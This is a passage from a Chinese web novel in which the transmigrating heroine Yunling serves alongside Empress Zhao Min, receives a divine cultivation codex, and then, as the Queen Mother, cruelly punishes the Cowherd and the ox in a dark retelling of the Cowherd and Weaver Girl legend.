经过工匠们的巧手制炼,倚天剑焕然一新,与原剑无异,更添两柄宝剑。剑身锋利,剑芒逼人,长三尺,皆能削铁如泥。
赵敏将其中一柄宝剑赠予云灵,道:“此剑便唤名凤女剑,是本郡主赠予你的礼物。”
随后,她将倚天剑与九阴真经交给两位女侍,命她们送往峨眉派。至于云灵,赵敏自不会放她离去,定要将她留在身边。
赵敏铸剑之际,张无忌历经九死一生,终于返回中原。得知是赵敏杀害义父,夺取屠龙刀,他对赵敏的心思,已化为仇怨。
自归来后,张无忌数次强闯汝阳王府,企图为义父报仇。然而,每次都被云灵所阻,赵敏有意放过,云灵只是将他击伤,扔出府外。
张无忌见赵敏手段高明,自己难以力敌,便转而率领明教在各地抗击元军,使得战火蔓延。他散布谣言,称赵敏已得屠龙刀,却私藏不献,意图号令天下。这谣言成功引起了皇帝对汝阳王府的猜忌。
汝阳王虽多次否认得到屠龙刀,但在皇帝的猜忌之下,他的兵权被暗中削弱。
赵敏得到武穆兵法后,与汝阳王密谈,不久之后,皇帝突然驾崩。汝阳王与众王爷把持朝政,立下幼帝,互相牵制,无暇顾及起义军,使得起义军声势日渐壮大。
汝阳王府内,小昭、黛丽丝、蛛儿经过刑罚折磨,早已臣服,被赵敏收入后宫。云灵这才惊觉,原来赵敏竟有魔镜之好!
赵敏试图将云灵也纳入后宫,云灵虽对赵敏心生欢喜,却不肯答应,谁要一生一世跟人争风吃醋?
汝阳王府外,赵敏派人布施于各州府,将她的名声传播开来,使她的德善之名广为流传。
至于赵敏之前派去的侍女与峨眉派灭绝师太的谈话,外人不得而知。但自此之后,峨眉派虽然依旧抗击蒙元,却不曾为难赵敏,她们的剑,只指向那些祸害百姓的蒙元兵将官员。
一年后,帝都突然涌出六万女
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将,如潮水般夺取了京城,将皇宫团团围住。她们以清君侧之名,将那些把持朝政的王爷与官员一一收押。
直至赵敏身披战甲,率领这些女将直入皇宫,云灵才恍然大悟。
赵敏除了释放汝阳王之外,其余官员一律被关押。小皇帝年幼,太后在情势所逼之下,将兵权交给了赵敏。
赵敏以郡主之身,把持朝政军权,留下万数凤女军,镇守京都。她令汝阳王看护京城,自己则亲自披挂上阵,节制蒙元兵马,开始肃清叛逆。
赵敏亲自统帅兵马,云灵自然随身在侧。
朝廷内斗之时,各路反王也内斗不休。而赵敏统帅精锐之师,聪慧无双,计谋无二,用时三年,便将各路反王一一诛灭。
由于灭绝师太尚在人世,周芷若与张无忌前往冰火岛的故事并未发生,自然也就没有周敏被迫嫁人之事。而陈友谅,早已在冰火岛上结束了他的一生。
黄衫女,在解决了丐帮之事后,便消失于人海,不再出现。由于谢逊已逝,屠狮大会也未曾举行,云灵心中最想见的黄衫女,这一生,都不曾见到。
赵敏郡主,诛灭各路反王之后,率领精锐之师征伐江湖各大门派。只要不肯归顺朝廷的,尽皆剿灭。
在天下百姓心中,赵敏虽是女身,却威望盖世,足以登临天下。
蒙元之所以能再次一统,全赖赵敏的智谋与勇武。朝廷与百姓,无人不知,无人不晓。
太后在深思熟虑后,逐步为赵敏加封荣宠,最终替年幼的帝王让位于赵敏。赵敏在三推三让之后,登临天下至尊之位。
盛大的登基仪式过后,赵敏的第一道旨意,是要求百姓不得以汗人、蒙古人、女真人、苗瑶人等自称,一律称为黎民。这一举措,消除了百姓身份的界限,少了不必要的争端。
赵敏登基后,将六万凤女军分为十镇,每镇由一位女将执掌,直属于赵敏,分布在京都,皇宫由凤女军轮流驻守。
她下旨减轻百姓赋税至一成,商人赋税降至两成,均无额外赋税。
赵敏还下旨规定,财物土地为私有,神圣不可侵犯,不得掠夺,官府征收需给予补偿,并按照她制定的补偿标准。
她又下旨规定,官府征用百姓劳务需付银钱,不得强行征役。
一列列旨意下来,百姓无不欢欣鼓舞,对赵敏更是拥戴。百姓向来不问谁做皇帝,他们关心的是能否吃饱穿暖……
赵敏并未清算皇室,连太后的名份都未曾剥夺。太后依旧是太后,奉养在皇宫之中,享有自由出入之权,她想去哪里,便可去哪里。
那些公主和郡主,依旧例,还是公主与郡主之身,俸禄更是加了五成。
赵敏登临天下一年之后,将之前关押的王爷官员尽数释放。那些人见赵敏登基已成定局,只得纷纷俯首称臣。
至于那些王爷与王子,赵敏也未曾为难,只是削去王爵,改为公爵。在赵敏制定的新秩序中,只有王、公、候、伯四等爵位,且不可世袭罔替,王公贵族最低降至乡伯便不再下降。
如今整个大元,只有王保保这个王爷。汝阳王身为赵敏的父皇,自然不适合再做王,被奉为太上皇。
******
赵敏二十岁登基,五十岁让位于女儿,与云灵一同出皇宫,游历天下。
云灵很清楚,这女儿并非赵敏亲生。赵敏不近男色,后宫妃嫔与侍女皆有,却不曾有男子,连太监都没有。云灵日夜在赵敏身侧,岂能不知?
这女儿也并非出自王公贵族之家,而是抱养而来,至于她的来历,除了赵敏,无人知晓。
赵敏与云灵一同游历天下,一同考察民情。发现弊端之处,赵敏时常书信给京都的女儿,描述实情。至于女儿如何解决,采用何种方法,赵敏一概不问。
京都的至尊常常收到赵敏的书信,每次派人寻找,却总是扑空。数次之后,至尊也就放弃了寻找。赵敏武功已至圆满,岂是轻易能找到的?
云灵这辈子,始终未能离开赵敏,她被局限于赵敏身侧,但她的心中,却无怨无悔。
14. 竹屋小院
云灵本以为此生终将归于黄泉,未曾料想,当她再次睁开眼时,竟发现自己置身于一座幽静的庭院之中。
她的身体,不可思议地回到了十岁的模样,无论是容颜还是根骨,都与当年无异。
她尚来不及惊诧,目光便被庭院内的景致所吸引。假山喷泉、碎石小径,林木苍翠,鲜花香草,石制的圆桌旁,藤编的榻椅静静摆放。
庭院深处,一座竹制小屋隐约可见,四周被白茫茫的雾气所笼罩,朦胧而神秘,让人看不真切。
云灵的目光落在身旁,那里立着一柄宝剑,剑身散发着凛冽的锋芒——正是赵敏赠予她的凤女剑。
她从地上拔起宝剑,轻抚剑身,眼中流露出对赵敏的深深怀念。
赵敏,一个奇女子,聪慧无双,计谋无双,仿佛能将世间一切玩弄于股掌之间。云灵曾甘愿留在她身边,共度一生。
然而,如今这一切,似乎都成了一场幻梦。
从思绪中回过神来,云灵执起凤女剑,踏出了庭院,打算探索那浓雾之后的景象。
然而,无论她如何尝试,无论她走向哪个方向,最终总会回到原点。
云灵无奈,只得放弃探索,她穿过庭院,轻轻推开了竹屋的竹门。
突然,一道紫金光芒在空无一物的竹屋内绽放,在云灵还未来得及惊讶之际,紫金光芒直冲她的脑海。
云灵并未感到任何疼痛,反而,一股舒适感油然而生。她仿佛能透视自己的脑海,那里,一本金色封面的典籍静静躺着,其上绘着栩栩如生的凤舞图案。
典籍上,四个紫金色的大字——“神祇宝典”,跃然纸上。虽然这些文字对云灵而言是陌生的,她却能奇异地理解它们的含义。不仅如此,这四个字似乎蕴含着某种深邃的意境,让她感到身心舒畅,心灵澄明。
云灵心中涌起一股强烈的渴望,想要一探这典籍的奥秘。仿佛有灵犀相通,典籍似乎感应到了她的意念,缓缓地自行翻动起来。
云灵将脑海内的典籍仔细阅读了一遍,也逐渐明白了这典籍的神奇作用。
这神祇宝典是集修行理念、常识与修行法门于一身的百科全书。这修炼法门与内功心法,或者云灵曾阅读过的任何修仙小说中的法门都迥然不同,因为它是——神祇之法。
据典籍记载,创制这典籍的,是一位名为彩凤的神祇。彩凤娘娘创制了这神祇宝典后,将其演化为三十六部,赋予有缘的生灵,旨在造就三十六位神祇。
暮云从未想过,世间真有神祇的存在。她所信仰的瑶池娘娘,也果然是创造万物的至高神祇。
典籍中的修炼法门,并无具体昵称,却胜过任何一种法门。它能吸纳诸般能量,炼化成神力,是一种神躯、神魂、神力三者同修的法门。
按照典籍记载的修炼法门,云灵开始尝试修炼。
多次尝试之后,一无所获,云灵内心不由怀疑这神祇宝典是假货。
忽然,神祇宝典仿佛是感应到了她的内心,它在云灵脑海自动翻页,显化出数个字词:“此乃科技宇宙,不得修炼长生!”
“为何不能修炼?还有,什么是科技宇宙?”云灵向脑海内的神祇宝典问道。
随后,经过神祇宝典的解释,云灵也知晓了,原来这神祇宝典自她诞生不久,便选中了她,直到今日才显化。
而所谓的科技宇宙,则是以基因与科技兴盛的世界,这些世界在大道的意志下,不得修炼长生,只能借助科技或者基因强化自身。
“何为神祇?”经过神祇宝典上一番解释,云灵又问道。
得知自己是被神祇宝典选中的三十六位有缘者之一,未来也是注定要成为神祇的生灵,她内心虽激动,但还是想要知晓,神祇是什么。
神祇宝典又是一番讲解,云灵知晓了到底何为神祇。
原来,茫茫混沌,除了彩凤娘娘,能称为神祇者,仅有瑶池娘娘与后土娘娘。
这两位神祇是先天之神,又是执掌法则的存在,她们至公至正,至纯至真,是茫茫混沌的至高神祇。
除了两位娘娘,茫茫混沌还有那些后天神祇存在,其一是依靠信仰愿力成神,其二则是赐封成神。
信仰愿力成神,这很容易理解,如同话本书写的那些土地、山神,她们就是依靠信仰愿力成神的后天神祇。
赐封成神的神祇,则是超品世界那些至尊,挑选有缘的生灵,赐封成神,赋予她们特有的神职与能力,比如超品世界那些星宿神与神将神兵,都是赐封的。
当然,信仰之神与赐封的神,充其量可以称为后天神祇,她们并非真正的神祇,而是伪神。
此时此刻的云灵,神祇宝典虽然将她选中,但她也不是真正的神祇,只有今后她执掌了法则,才是真正的神祇。<
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p>云灵在知晓了神祇宝典所揭示的神祇真谛后,她好奇地询问:“既然无法修炼长生,那么我总能修习武功吧?”
“当然可以!”神祇宝典回应后,显现出一个灵动的小人,其动作宛若幻影,变幻莫测。
云灵一眼便认出,这是经过改良的天罗地网式。
如今的天罗地网式,可以用二十个字来概括——窜高跃低、抓扑拿捏、灵动缥缈,鬼魅连绵、变幻万千。
云灵惊叹之余,满怀喜悦地跟随小人的演示,开始修习这门武功。
饥饿时,神祇宝典会演化出果物供她饱腹;口渴时,则饮用喷泉之水。
五年的时光匆匆流逝,全身赤裸的云灵皮肤白皙无瑕,腰身玲珑,青丝如瀑,直垂至腰间,容貌宛如皎月。
她的天罗地网式,在神祇宝典演化的鸟雀辅助下,也已修习至圆满境界。
在此期间,她还时常聆听神祇宝典的教导。
比如,她今后穿越那些世界,要多积攒功德。
神祇宝典选中的三十六位神祇,每一位都需要拥有功德,若是功德不够神祇宝典的要求,那么她们修炼的进境,也将陷入瓶颈,不能突破。
按照神祇宝典的要求,云灵在神灵境以前,功德必须拥有一亩。
十万丝功德为一缕,百万缕功德为一亩。
大道制定的秩序下,任何生灵如果救了一个生灵,那么只得一丝功德,若是祸害了一个无辜生灵,那么功德则以五倍扣除。
一旦功德欠大道太多,那么这位生灵便会被打入邪魔,甚至遭受大道清算。
神祇宝典的要求则更为严苛,云灵若是敢伤害一个无辜的生灵,那么功德则以十倍扣除。
这让云灵心惊胆颤,直呼恐怖。
自神祇宝典显化的文字中,云灵也知晓了,她穿越成李莫愁或者与赵敏的相伴,都仅仅是话本世界,并非真实世界。
除了聆听神祇宝典教导,云灵无所事事,这个四方形的竹屋小院,面积足以一平方公里。
景物优美,云灵修习天罗地网式之余,大多数时候懒躺在藤榻上,要么欣赏香花瑶草,要么陷入梦香。
这样的生活,云灵很是喜欢,既不用为了生活挣扎,又不用因为喧哗而闹心。
云灵是安逸了,神祇宝典则是很不满,因此,它神力降临,一脚将云灵踢出了竹屋小院。
15. 织女世界
“母后,女儿今日欲下凡采撷晚霞。待女儿采得最艳丽之晚霞,定将为母后织就最美之华服,令众仙家皆能目睹母后之风采。”
云灵一睁眼,便见一位精灵般娇俏可爱的少女正趴在她的膝头,显得既乖巧又体贴。她瞬息间吸收了原主的记忆。这是一个由话本衍生而成的世界,原主乃王母娘娘,世界主宰之一,与她并肩的还有玉皇大帝。
眼前这位少女,正是王母娘娘之女——织女。云灵吸收记忆后,轻抚织女的秀发,温柔细语:“去吧,母后最喜小七织之衣。”
织女离去后,云灵的身影便消失于天庭,悄无声息地越过南天门,直奔凡间。
据神祇宝典所说,云灵历练的都是虚幻世界,因此世界的一切物品不允许带走,这让云灵闷闷不乐了好一会儿,她还想着发财做个富婆呢。
虚幻世界都是假的,如何能把真实之物带出呢?云灵的富婆梦,终究也只能是梦啦!
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凡间牛栏山。
“牛郎又去放牛啊!”小伙伴们斜着挎包,三三两两从他身边经过。
与牛郎不同,他们被父母送去上学,而牛郎无父无母,自小与兄长相依为命,嫂嫂对他不甚友好,终日与牛为伴。众人皆称他为牛郎,盖因他并无正名。
往日牛郎见小伙伴们去读书,心中不免羡慕,然今日不同。因他的老牛昨夜竟能言,且能直呼其名,此事兄嫂皆不知晓。
嫂嫂要求分家,牛郎只取老牛。嫂嫂还斥他不识货,然牛郎自知,老牛之真价值远不止于此。
是夜,他为老牛带回鲜嫩之草,并哭诉分家后孤独,无房无财,亦无女子照料。
老牛知晓后开口:“明日黄昏时,汝可翻越右侧之山,山那边有树林,林前有湖。湖中仙女沐浴,衣裳置于地上,内有最艳之粉红衣裳,汝取之藏于林中,追来者便是汝妻。”
牛郎一想到能娶得仙女为妻,心中窃喜,睡在牛棚亦不觉寒冷。心中盘算着娶得仙女后,一日三餐便有人照料,仙女定有金银,可购豪宅。
他每日放牛,仙女在家操持家务,岂不美哉!他真乃有责任心之男儿,放牛这等大事绝不假手于妻,以免她辛苦。
待日子好转,再令妻子生养数个胖娃娃,男孩至少五个,女孩亦至少五个,家中男丁之一日三餐、衣食住行皆有人照料。
牛郎憧憬着未来有房有美妻之美好生活,靠在老牛身旁,缓缓闭上双眼。一人一牛沉浸在梦乡之时,云灵显化,赠予牛郎一个美梦。梦中,应有尽有。
梦境将提高他的期待,唯有如此,残酷的现实方能给他更大的落差。趁一人一牛入梦,云灵飞至仙女湖,运用移山填海之力,将湖填平。
这岂是仙女湖?分明是拐卖妇女之绝佳之地!
随后,她在牛栏山布下结界,并以幻术造出一个仙女湖,幻境中的景色与外界无异。
次日清晨,牛郎采摘了几里地的鲜嫩草料,以谢老牛。一夜美梦,使他对未来美好生活充满期待。
“老牛,感谢您的大恩大德,若我将来能娶得妻子,定当好好感谢您。”
老牛满意地点头。他本是修炼成仙的黄牛,一生勤劳,至天庭后本以为可享清福,未料仍为神仙坐骑。
一怒之下,他偷取仙丹,企图获得更高修为,却被王母发现,遣天兵天将追杀。逃至牛栏山养伤,为报复王母,亦为助诚心救他的牛郎,故意告知七仙女沐浴之地。
他真想看看,有朝一日王母知晓她心爱的女儿嫁给一个她看不起的凡夫俗子,会是何等感受。
日落黄昏,牛郎激动地等待了一整天,眼中充满了欲望。按老牛所指,他翻越大山,步入幻境,却未察觉任何异样,激动地向前奔跑。
与此同时,织女采集天边晚霞,火烧云热烈如饮了烈酒。
完成一切后,她如常欲在湖中沐浴,却发现湖已不见。织女犹豫片刻,便飞上天继续采集晚霞,待回天宫再歇息。
幻境之中。
牛郎跋涉山川,渐渐接近了目的地。云灵则化身为一丑陋女子,潜入湖水之中。
望着水中映出的雄浑络腮胡之面孔,云灵露出了满意的微笑。
牛郎抵达湖边,仿佛步入了仙境,朦胧的白雾中,一道窈窕的身影在湖水中若隐若现。
岸边,仙女的粉色裙衫闪烁着光芒。
轻柔如薄雾,世间岂能有如此美丽的衣衫?定是仙女所着!仙女本人,定也是美艳绝伦!
牛郎强抑心中激动,缓步走向湖边,只见女子背对着他,在水中沐浴。其背影纤薄,如同风中蝴蝶,单是这背影便足以令人神往。他不由得咽了咽口水,又想起老牛的叮嘱,只取衣衫,不得靠近。
然而,牛郎此刻被仙女的背
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影所吸引,目光如炬。多看一眼也好!
正当他全神贯注之时,仙女缓缓转身。牛郎的心随之提了起来,幻想着仙女的绝世容颜。火红的夕阳洒在水面,为仙女周身镀上了一层彩色的光辉。时间似乎在这一刻凝固,女孩的侧脸逐渐显现,然而晚霞太过耀眼,他不得不抬手遮额,微眯双眼。
来了!即将揭晓!
他即将目睹仙女的真容......“牛郎惊恐地向后跌倒,甚至往后爬了几步。他不断揉眼,甚至拍打脸颊,怀疑自己是否还在梦中。若非梦境,何来如此......丑陋的仙女?肥头大耳、络腮胡、还抠鼻屎?!这真是女子吗?”
然而,那大汉一开口,却是软糯的女声:“牛郎~”
牛郎吓得跳起便跑,仿佛身后有鬼魅追随。“救命!别过来!!”在逃跑中,他忘了自己手中紧握的粉色仙女裙。
云灵幻化成的丑女从水中跃出,飘浮于半空,紧随牛郎之后。
“嘻嘻~”
“官人,等等我啊!”
“牛郎,你拿了我的衣裙,便得娶我喔。”
那软糯的声音,如同勾魂的无常,令牛郎惊恐地丢下手中的衣裙。但那络腮胡的面孔仍旧紧随其后,对方乃是神仙,拦截一凡人自是轻而易举。
云灵站在牛郎面前:“你取了我的衣裙,便需对我负责。”
牛郎望着这样一张脸,宁死也不愿与其共度余生。“不!我未偷,衣裙不是还你了吗?”
但云灵不依不饶。“我说了算,我说你得对我负责,你便得对我负责!”
牛郎吓得满地打滚,破口大骂:“你这丑八怪,即便是仙女也无人敢娶!还想嫁给我?休想!滚!”
云灵静静站在一旁,看着牛郎出丑。传承万年的神灵故事,此刻展现出了它最不堪的一面。她注视着牛郎逃远的背影,并未追赶。因为他逃不出她的掌心。
牛郎朝回家的路奔去,却发现道路如同牛皮糖一般,越拉越远。明明是春季,天空却开始飘雪,他身着单衣,在寒风中瑟瑟发抖。
牛郎四处张望,未见丑仙女追来。但寒风肆虐,他找不到回家的路。不久,大雪覆盖了大地,白茫茫一片,遮蔽了所有可辨方向的标记。
牛郎在雪地中艰难前行,不知走了多久,感觉已远离了牛栏村。身体被冻僵,腿脚失去知觉,只能麻木地向前。
16. 织女世界
数个时辰过后,天色尚明,牛郎耳边却传来那熟悉而软糯的声音:“牛郎,愿意娶我了吗?”
“不愿也!不愿也!”牛郎惊恐地倒在雪地之上,大雪似有生命般将他困锁。他挣扎无果,终被大雪所掩,昏迷过去。
梦中,他拾得仙女之裙,确有美貌仙女随他归家。他们共度了神仙眷侣般的生活。
正当他梦中与仙女颠倒龙凤之际,周身感觉越来越热,热至脱水,皮肤接触空气似能燃烧。
半梦半醒间,那声音再次响起:“牛郎,想好未?愿娶我否?”
牛郎刚欲拒绝,那声音又道:“若不愿,便送你上刀山下火海。”
轻飘飘的一句话,却令牛郎浑身战栗。这哪里是仙女?定是深山修炼成的老妖精!都怪那老牛!
不对,那牛或许也与她一伙,哪有牛能言语?定是妖精无疑!
牛郎瞬间将责任全推至前一刻还尊敬的‘牛神仙’身上。未等他深思,眼前便现出一座刀山,山上刀片林立。
“我愿!我愿,仙子饶命!”牛郎哭嚎,若上刀山,必死无疑。
云灵勾起唇角,轻声赞了句“乖”,随即撤去幻境。
牛郎醒来,发现自己躺在村口的大树下。天空依旧湛蓝,未有雪迹。自己身上亦无烫伤!
一切都是梦?
正当他沾沾自喜地爬起时,那幽灵般的声音再次响起:“牛郎,你醒了?”牛郎哆嗦着嘴唇,回头一看,果不其然,还是那络腮胡脸!
“你...你...不是梦?”
扮演丑仙女的云灵灿然一笑:“当然不是,牛郎,我们回家吧。”在牛郎欲哭无泪的眼神中,云灵押着他,一路走回村庄。
一路上,村民惊得锄头草帽下巴掉了一地。这世上竟有如此粗犷女子?天呐!牛郎那小身板能压得过她吗?
两人回到牛棚,老牛一睁眼便见牛郎与一粉色身影步入。刚想开口,却见粉色身影的真容,吓得嘴里的草都不香了!老牛也算神仙,透过幻术,竟见王母娘娘之尊。吓得他拔腿欲逃,却被云灵法术锁住神魂。
云灵轻抚牛头,抽取牛之神魂。“哎呀呀,这牛可真老,看似颇有灵性。”
如今的牛,真成了凡牛,无了意识,眼神不再清明。
“王母娘娘饶命,娘娘饶命!小仙知错!”老牛神魂在云灵手中不断求饶,云灵却只是阴冷一笑,将他神魂附着于草地之上。
牛郎一回来便靠在老牛身上:“老神仙,救救我吧,唔唔唔湖边没有仙女,只有老妖精啊!”
老牛:哞~~
牛郎还在不断摇晃牛头:“老神仙,你说话啊!说说话啊!”老牛极其不耐烦地甩头,牛郎被甩倒在地,满脸错愕。
老牛低头朝地上最鲜嫩的草张开大嘴。
老牛神魂:“啊啊啊啊啊啊!别过来别过来!”但无人能听见草之言语,老牛只觉神魂被撕扯、被咀嚼,最后消失于牛腹之中。
关键是他的神魂不止附身一颗草,而是一整片山,意味着这种折磨将持续很久。老牛开始不断哀嚎,求王母饶他一命。
云灵置若罔闻,无人能听见他灵魂之声。他敢觊觎织女,云灵就让他体会绝望。
远处的大哥大嫂见弟弟抱着牛说话,齐齐摇头。大嫂更是嫌晦气:“还好早分家,一个男人在家眼里没活儿,洗衣做饭烧火劈柴样样不会,我可不会养这么个废物!现在更是疯癫,让牛说话,疯子!”
牛郎大哥不敢反驳,但见牛郎身边的...女子,还是忍不住:“我去劝劝牛郎,找的什么女人,这...能下得去嘴吗?”
却被大嫂拦住,身为女人,她最讨厌以貌取人。“你去干嘛?就你弟弟懒惰的性子,有女人愿意跟着他已是上天开眼。再说了,女人壮点怎么了。家务活你弟弟愿意干吗?还不得年轻力壮的女人才行!”
大哥被劝住,最后叹了口气,什么也没说。两人离开后,云灵一屁股坐在草堆上,翘着二郎腿抖脚。“我饿了。”她毫不客气地下达指令。
牛郎如今住牛棚,平日靠乡村接济,吃百家饭过活,哪来的柴米油盐?啊不对,哪来的厨房!
“没...我没房子,也没有钱,你嫁给我,会受苦的!”他企图以穷困潦倒吓跑丑仙女,但云灵一点也不介意:“这些我都不管,总之我饿了,你去给我弄吃的!要不然,我就把你扔到刀山上滚一圈。”
威胁有效,牛郎立马飞奔至大哥家求施舍午饭。看在弟弟带回女人的份上,大哥大嫂还是象征性分了点食物给他。牛郎自己偷吃了些,剩下一点拿回去给她。
本以为丑仙女会分他一半,没想到她全吃了!一点也不留!
“你...你都吃了,我吃什么?”
云灵反问:“你刚才躲在树后面不是吃了吗?怎么,没吃饱?”
对上云灵似笑非笑的眼神,牛郎莫名心虚。但更多的是胆寒,不愧是老妖精,什么都瞒不过她。
“你不是神仙么?用法术变出食物变出银子轻而易举,为什么要为难我?”在牛郎心中,神仙=无法无天。
云灵微微抬起下巴,手指结印,瞬间,一桌美味食物及一箱黄金现于牛郎面前。
“这....这是!”
牛郎瞬间跪下,眼神满是不可思议,甚至激动得快哭了。他贪婪地摸着黄金,随后抓起一只烧鸡往嘴里塞。神奇的是,烧鸡到了嘴里化作一缕青烟,散于无形。
后面无论他吃什么都是吃空气,就连一箱黄金也变成了石头。“不!金子呢?我的金子呢!”
云灵面带讥讽:“万事万物讲究平衡,不会凭空多出钱财,这些都是用法术变出来的,本就是幻术,当然什么都没有。”
牛郎坐在地上,愣住了。他不敢相信,原来神仙也不能随意变出钱财和美食。他心中对神仙的信仰,又一次崩塌了。
云灵却对他的失落毫不在意,用脚踢了踢他:“快起来,把牛棚修好,再盖个房子。不然我就把你扔进油锅里。”
“虽然变钱的法术是假的,但我让你下地狱的能力可是真的,不信你可以试试。”
牛郎一听,立刻爬了起来,他可不敢去试。
一整天,牛郎都在忙着修补牛棚,爬上爬下。牛棚就在大哥大嫂家附近,虽然他们分了家,但并没有完全分开。
大哥大嫂看到牛郎这么勤快,都惊呆了。他们心想:如果牛郎以前就这么勤快,也许就不会那么快分家了。
到了晚上,牛郎终于把牛棚顶修好了。他本以为可以休息了,但云灵又一脚踢了过来:“去准备晚饭!”
牛郎打不过,也逃不了,只能认命。村子里的人都已经给过他食物了,最后还得靠大哥分给他一点吃的。
云灵吃完了所有的食物,一点也没留给牛郎。
他不敢抱怨,只能去树林里摘野果来充饥。晚上,牛郎又做了一个美梦,梦见自己遇到了仙女,仙女用法术变出了豪宅和金子,他变成了一个富有的绅士,连大哥都要巴结他。
第二天醒来,牛郎心情很不好。他以前很少做梦,怎么最近总是做美梦呢?他不知道,这都是云灵在暗中搞鬼。
云灵吃着牛郎摘的野果,命令他今天打好地基,盖一间能遮风挡雨的房子。牛郎虽然心里不满,但也不敢说出来。他曾试图离家出走,却发现自己怎么也走不出牛栏山。
不管他怎么走,最后都会回到牛棚。他曾经向老牛求助,但老牛现在就像一头普通的牛,不会说话,眼神里满是愚蠢。
无奈之下,牛郎只能自己干活,建房子。
老牛张着大嘴吃草,而真正的老牛神魂却在痛苦地叫喊。云灵把他的神魂变成了整座山的草,如果都被吃完了,他就会消失。
云灵坐在树荫下,看着牛郎干活,老牛吃草,自己则惬意地吃着果子。同时,她还分出一份神魂回到天上,看到织女已经回到天宫,正在给她织新衣裳,她满意地笑了。
这才是她应有的生活,闲暇时和嫦娥弹琴跳舞,偶尔和家人欢聚。她有自己的工作,父母是天庭的领导,完全不用担心被人排挤。
她不需要为生活发愁,不需要操心日常琐事,不需要和懒汉一起风餐露宿。而不是因为失去了羽衣,被一个凡人带回家,洗衣做饭,生儿育女。
云灵又放出了老牛的一半神魂,让他和牛郎能够对话。有一天,老牛的神魂附着在一株狗尾巴草上,大声叫牛郎。
牛郎一开始以为是见鬼了,但走近一看,发现是狗尾巴草成精了。他生气地说:“你果然不是神仙,而是妖怪,害得我好苦啊!”
老牛来不及解释:“我也不知道怎么回事,但你带回的那个女人,绝对不是仙女,而是……”
每当老牛提到“王母娘娘”时,声音就会自动消失。这是云灵搞的鬼。牛郎只听到了前面的话,更加确信那个女人是妖怪。
两人虽然沟通不畅,但情况紧急,老牛也顾不了那么多了。他告诉牛郎:“你收集百家米,拔下她头上的簪子,在日落时把米洒在她眼睛上,就能逃出牛栏山。难道你没发现,你无论如何也走不出牛栏山吗?这都是她设下的陷阱!”
牛郎有些犹豫:“这不会又是骗我的吧?”
老牛急了:“照我说的去做,否
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则你一辈子都会生不如死!”
牛郎别无选择,只能听从老牛的话。他趁着夜色,开始挨家挨户乞讨大米。
但在这个贫穷的村子里,大米是多么重要啊。许多人都把大米锁在柜子里,重要的农具都放在床头。牛郎一晚上收获甚少。
与此同时,云灵一脚踩在狗尾巴草上,把老牛的神魂一起碾碎了。
“懂得挺多?不过谢谢了,为了报答你,我决定放过你。”在老牛惊恐的眼神中,云灵抽出了草地上的神魂,再全部放回到老牛身上。
老牛魂魄归位,高兴极了。正当他想开口时,却发现无论如何也发不出声音。
云灵略带遗憾地说:“只可惜,你自己的神魂被你嚼碎吃下去不少,怕是没法恢复原样,但我觉得你还是会开心的。”
说完,她强行按着牛点头。老牛心里想:“不是吧,你有病啊!”云灵施法把牛捆在树上,然后悠然离开。老牛拼死挣扎,但无法挣脱。
在村庄的一户人家,村长半夜站在厨房,里面还有被绑着的牛郎,以及被他偷盗的几户人家。牛大郎面子挂不住,本以为弟弟婚后会争气一点。
没想到隔天就给他这么大一个惊喜。“混账东西,我怎么会有你这么好吃懒做手脚不干净的弟弟!”牛大郎狠狠踢了弟弟一脚。
大嫂在一旁气愤地说:“居然偷到村长家,你吃了熊心豹子胆啊!”
牛郎倒在地上,疼痛蜷缩身体,但还在为自己的行为辩护:“我是为了驱除妖邪才来偷大米的!你们不理解就算了,为什么要打我?真的,那个丑女人是妖怪,她是妖怪!”
村长皱眉:“你弟弟是不是脑子有问题?”
牛大郎无言以对乡亲父老:“村长,您德高望重,无论您做什么样的决定我都认,我牛家没这种男人!”
朝地上的牛郎狠狠淬了一口,他拉着妻子回家。村长总得为被偷的几户人家做主,况且歪风邪气不惩治,以后只会出现更多小偷。
“既然如此,废掉他一只手和一只脚,赶出村庄让他自生自灭吧!”
“不要!”牛郎发出撕心裂肺的声音,此刻他万分后悔,不该听老牛的话。
如果牛郎没有听从老牛的话去仙女湖偷衣服,他就不会带回一个妖孽。如果不带回妖孽,他也不会在半夜偷米时被打断腿。牛郎始终没有意识到自己的问题,他只觉得一切都是老牛造成的。
牛郎被打断手脚,痛得浑身抽搐。村民们用绳子将他捆绑,吊在木棍上,抬着他走向山脚下。老牛挣脱了暮云的法术束缚,逃到山外,却恰好遇到了重伤的牛郎。
仇人相见,分外眼红。牛郎想大声责骂,但稍微动一动嘴唇,就感到剧痛。他的半边身子已经失去了知觉。老牛顶着他的肚子,本想带他下山找大夫,但牛郎已经不再相信他。
牛郎决定把牛卖了,在城里买房。云灵跟在他身后,施了个法术,在外人眼里,老牛看起来老态龙钟,瘦骨嶙峋,皮肉松垮。牛郎接连问了几家屠宰场,但看到老牛的样子,都被人轰了出来。
老牛拼命想逃跑,但被牛郎紧紧拉住。他心想:“我这么尽心尽力帮你,你却恩将仇报?”
晚上,他们在郊区的破庙里休息。牛郎饿得肚子咕咕叫。在牛栏山,他还能四处讨饭,邻居们给一点也够他活下去。但在城郊,即使乞讨也会被小乞丐驱逐。
老牛打算趁牛郎熟睡时逃跑,但转身就看到牛郎垂涎欲滴的神情。“你...你要干什么?”老牛哆嗦着往后退,想说话却只能发出哞哞的声音。
“是你把我害得这么惨,如今的一切都是你自找的。”牛郎在破庙里找到了一把大砍刀,举着砍刀朝老牛冲去。
老牛受伤后法术尽失,又说不出话,只能眼睁睁看着牛郎挥舞着大砍刀向他袭来。
老黄牛回想起自己在天庭的日子,虽然要驮着大人物东奔西走,但每天喝的是玉露,吃的是仙丹。童子们对他都很敬重,主人也从不为难他……
但现实不容许他回忆下去,老牛眼睁睁看着自己被开膛破肚。牛郎第一次干这种事,手在抖,但眼睛发亮。
最后,牛郎一刀刺入它的心脏,老牛彻底闭上了眼睛。鲜血的味道吸引了周围的乞丐,他们一拥而上,分食了老牛。牛郎从此也过上了乞丐的流浪生活。
在梦中,他还是会梦到自己迎娶仙女的故事,现实与梦境的差距让他非常痛苦。他浑浑噩噩地走在大街上,恨不得倒头就睡,但饥饿与寒冷提醒他,如果沉溺于梦境就会被冻死。
最后,他把臆想的故事卖给了酒楼的说书人,从此,牛郎织女的故事口口相传。
17. 家暴世界
宋金刚在地上挣扎,双腿颤抖,乱蹬乱踢,双手颤抖不已。他咬牙切齿,怒吼道:“云灵!你这贱人……”
云灵没等他骂完,就给了他几巴掌:“嘴巴干净点!让你给钱是看得起你。不然,这个家要你何用?你除了能赚那么一点点钱,还能做什么?在这个家里,你一无是处!你懂不懂,蠢货!”
